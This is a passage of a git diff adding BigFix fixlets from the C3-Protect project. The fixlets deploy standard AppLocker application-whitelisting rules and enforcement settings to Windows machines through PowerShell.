+<P>AppX - Enforced</P>
+<P>Executables - Enforced</P>
+<P>Installers - Enforced</P>
+<P>Scripts - Enforced</P>
+<P>This will only take effect if the current enforcement mode is undefined. Once an enforcement mode is defined it's not advisable to try to change it without first reseting the Applocker configuration.&nbsp;</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(not exists (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry))  or  ((value &quot;EnforcementMode&quot; of key &quot;Appx&quot; of it as integer != 1) | true or (value &quot;EnforcementMode&quot; of key &quot;Appx&quot; of it as integer != 1) | true or (value &quot;EnforcementMode&quot; of key &quot;Msi&quot; of it as integer != 1) | true or (value &quot;EnforcementMode&quot; of key &quot;Script&quot; of it as integer != 1) | true) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Appx" EnforcementMode="Enabled">
+	</RuleCollection>
+	<RuleCollection Type="Exe" EnforcementMode="Enabled">
+	</RuleCollection>
+	<RuleCollection Type="Msi" EnforcementMode="Enabled">
+	</RuleCollection>
+	<RuleCollection Type="Script" EnforcementMode="Enabled">
+	</RuleCollection>
+</AppLockerPolicy>
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Administrators to run All Executables - Windows (20616).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Administrators to run All Executables - Windows (20616).bes
new file mode 100644
index 000000000..db739b911
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Administrators to run All Executables - Windows (20616).bes	
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Rules - Allow Administrators to run All Executables - Windows
+  ID       : 20616
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-12T17:30:36
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Rules - Allow Administrators to run All Executables - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Executables</P>
+<UL>
+<LI>Allow Administrators to run All Files.&nbsp;</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)  or  /* EXE Rules */ (not exists key &quot;fd686d83-a829-4351-8ff4-27c7de5755d2&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Exe">
+		<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Administrators to run All Scripts - Windows (20617).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Administrators to run All Scripts - Windows (20617).bes
new file mode 100644
index 000000000..d4ceb4b82
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Administrators to run All Scripts - Windows (20617).bes	
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Rules - Allow Administrators to run All Scripts - Windows
+  ID       : 20617
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-12T17:30:46
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Rules - Allow Administrators to run All Scripts - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Scripts</P>
+<UL>
+<LI>Allow Administrators to run all scripts</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry)  or  /* Script Rules */ (not exists key &quot;ed97d0cb-15ff-430f-b82c-8d7832957725&quot; of it ) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Script">
+		<FilePathRule Id="ed97d0cb-15ff-430f-b82c-8d7832957725" Name="(Default Rule) All scripts" Description="Allows members of the local Administrators group to run all scripts." UserOrGroupSid="S-1-5-32-544" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Default - Windows (20599).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Default - Windows (20599).bes
new file mode 100644
index 000000000..5c35f6d9c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Default - Windows (20599).bes	
@@ -0,0 +1,132 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Rules - Allow Default - Windows
+  ID       : 20599
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-11T11:04:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Rules - Allow Default - Windows</Title>
+    <Description><![CDATA[<P>This policy adds the policies that are configured if you add "Default Rules" to Applocker. Specifically it configures:</P>
+<P>Executables</P>
+<UL>
+<LI>Allow all files in C:\Windows, C:\Program Files.
+<LI>Allow Administrators to run All Files.</LI></UL>
+<P>Installers</P>
+<UL>
+<LI>Allow everyone to run signed installers
+<LI>Allow everyone to run installers in C:\Windows\Installers
+<LI>Allow Administrators to install all installers</LI></UL>
+<P>Scripts</P>
+<UL>
+<LI>Allow all scripts in Program Files folder
+<LI>Allow all scripts in Windows folder
+<LI>Allow Administrators to run all scripts</LI></UL>
+<P>AppX</P>
+<UL>
+<LI>Allow everyone to run signed AppX</LI></UL>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)  or  /* AppX Rules */ (not exists key &quot;a9e18c21-ff8f-43cf-b9fc-db40eed693ba&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Appx&quot; of native registry)  or  /* EXE Rules */ (not exists key &quot;921cc481-6e17-4653-8f75-050b80acca20&quot; of it or not exists key &quot;a61c8b2c-a319-4cd0-9690-d2177cad7b51&quot; of it or not exists key &quot;fd686d83-a829-4351-8ff4-27c7de5755d2&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)  or   /* MSI Rules */ (not exists key &quot;b7af7102-efde-4369-8a89-7a6a392d1473&quot; of it or not exists key &quot;5b290184-345a-4453-b184-45305f6d9a54&quot; of it  or not exists key &quot;64ad46ff-0d71-4fa0-a30b-3f3d30c5433d&quot; of it ) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry)  or   /* Script Rules */ (not exists key &quot;06dce67b-934c-454f-a263-2515c8796a5d&quot; of it or not exists key &quot;9428c672-5fc3-47f4-808a-a0011f36dd2c&quot; of it  or not exists key &quot;ed97d0cb-15ff-430f-b82c-8d7832957725&quot; of it ) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Appx" EnforcementMode="NotConfigured">
+		<FilePublisherRule Id="a9e18c21-ff8f-43cf-b9fc-db40eed693ba" Name="(Default Rule) All signed packaged apps" Description="Allows members of the Everyone group to run packaged apps that are signed." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
+					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
+				</FilePublisherCondition>
+			</Conditions>
+		</FilePublisherRule>
+	</RuleCollection>
+	<RuleCollection Type="Dll" EnforcementMode="NotConfigured" />
+	<RuleCollection Type="Exe" EnforcementMode="NotConfigured">
+		<FilePathRule Id="921cc481-6e17-4653-8f75-050b80acca20" Name="(Default Rule) All files located in the Program Files folder" Description="Allows members of the Everyone group to run applications that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%PROGRAMFILES%\*" />
+			</Conditions>
+		</FilePathRule>
+		<FilePathRule Id="a61c8b2c-a319-4cd0-9690-d2177cad7b51" Name="(Default Rule) All files located in the Windows folder" Description="Allows members of the Everyone group to run applications that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%WINDIR%\*" />
+			</Conditions>
+		</FilePathRule>
+		<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+	<RuleCollection Type="Msi" EnforcementMode="NotConfigured">
+		<FilePublisherRule Id="b7af7102-efde-4369-8a89-7a6a392d1473" Name="(Default Rule) All digitally signed Windows Installer files" Description="Allows members of the Everyone group to run digitally signed Windows Installer files." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
+					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
+				</FilePublisherCondition>
+			</Conditions>
+		</FilePublisherRule>
+		<FilePathRule Id="5b290184-345a-4453-b184-45305f6d9a54" Name="(Default Rule) All Windows Installer files in %systemdrive%\Windows\Installer" Description="Allows members of the Everyone group to run all Windows Installer files located in %systemdrive%\Windows\Installer." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%WINDIR%\Installer\*" />
+			</Conditions>
+		</FilePathRule>
+		<FilePathRule Id="64ad46ff-0d71-4fa0-a30b-3f3d30c5433d" Name="(Default Rule) All Windows Installer files" Description="Allows members of the local Administrators group to run all Windows Installer files." UserOrGroupSid="S-1-5-32-544" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="*.*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+	<RuleCollection Type="Script" EnforcementMode="NotConfigured">
+		<FilePathRule Id="06dce67b-934c-454f-a263-2515c8796a5d" Name="(Default Rule) All scripts located in the Program Files folder" Description="Allows members of the Everyone group to run scripts that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%PROGRAMFILES%\*" />
+			</Conditions>
+		</FilePathRule>
+		<FilePathRule Id="9428c672-5fc3-47f4-808a-a0011f36dd2c" Name="(Default Rule) All scripts located in the Windows folder" Description="Allows members of the Everyone group to run scripts that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%WINDIR%\*" />
+			</Conditions>
+		</FilePathRule>
+		<FilePathRule Id="ed97d0cb-15ff-430f-b82c-8d7832957725" Name="(Default Rule) All scripts" Description="Allows members of the local Administrators group to run all scripts." UserOrGroupSid="S-1-5-32-544" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Cached Installers - Windows (20619).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Cached Installers - Windows (20619).bes
new file mode 100644
index 000000000..cb8cca6d8
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Cached Installers - Windows (20619).bes	
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Rules - Allow Everyone to run Cached Installers - Windows
+  ID       : 20619
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-12T17:31:06
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Rules - Allow Everyone to run Cached Installers - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Installers</P>
+<UL>
+<LI>Allow everyone to run installers in C:\Windows\Installers</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry)  or  /* MSI Rules */ (not exists key &quot;5b290184-345a-4453-b184-45305f6d9a54&quot; of it ) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Msi">
+		<FilePathRule Id="5b290184-345a-4453-b184-45305f6d9a54" Name="(Default Rule) All Windows Installer files in %systemdrive%\Windows\Installer" Description="Allows members of the Everyone group to run all Windows Installer files located in %systemdrive%\Windows\Installer." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%WINDIR%\Installer\*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Installed Executables - Windows (20620).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Installed Executables - Windows (20620).bes
new file mode 100644
index 000000000..6d9a5ba2f
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Installed Executables - Windows (20620).bes	
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Rules - Allow Everyone to run Installed Executables - Windows
+  ID       : 20620
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-12T17:31:17
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Rules - Allow Everyone to run Installed Executables - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Executables</P>
+<UL>
+<LI>Allow all files in C:\Windows, C:\Program Files, C:\Program Files (x86)</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)  or  /* EXE Rules */ (not exists key &quot;921cc481-6e17-4653-8f75-050b80acca20&quot; of it or not exists key &quot;a61c8b2c-a319-4cd0-9690-d2177cad7b51&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Exe">
+		<FilePathRule Id="921cc481-6e17-4653-8f75-050b80acca20" Name="(Default Rule) All files located in the Program Files folder" Description="Allows members of the Everyone group to run applications that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%PROGRAMFILES%\*" />
+			</Conditions>
+		</FilePathRule>
+		<FilePathRule Id="a61c8b2c-a319-4cd0-9690-d2177cad7b51" Name="(Default Rule) All files located in the Windows folder" Description="Allows members of the Everyone group to run applications that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%WINDIR%\*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+</AppLockerPolicy>
+_end_
+
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Installed Scripts - Windows (20621).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Installed Scripts - Windows (20621).bes
new file mode 100644
index 000000000..0966331db
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Installed Scripts - Windows (20621).bes	
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Rules - Allow Everyone to run Installed Scripts - Windows
+  ID       : 20621
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-12T17:31:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Rules - Allow Everyone to run Installed Scripts - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a number of policies to Applocker. Specifically it configures:</P>
+<P>Scripts</P>
+<UL>
+<LI>Allow all scripts in Program Files folder
+<LI>Allow all scripts in Windows folder </LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry)  or  /* Script Rules */ (not exists key &quot;06dce67b-934c-454f-a263-2515c8796a5d&quot; of it or not exists key &quot;9428c672-5fc3-47f4-808a-a0011f36dd2c&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Script">
+		<FilePathRule Id="06dce67b-934c-454f-a263-2515c8796a5d" Name="(Default Rule) All scripts located in the Program Files folder" Description="Allows members of the Everyone group to run scripts that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%PROGRAMFILES%\*" />
+			</Conditions>
+		</FilePathRule>
+		<FilePathRule Id="9428c672-5fc3-47f4-808a-a0011f36dd2c" Name="(Default Rule) All scripts located in the Windows folder" Description="Allows members of the Everyone group to run scripts that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%WINDIR%\*" />
+			</Conditions>
+		</FilePathRule>
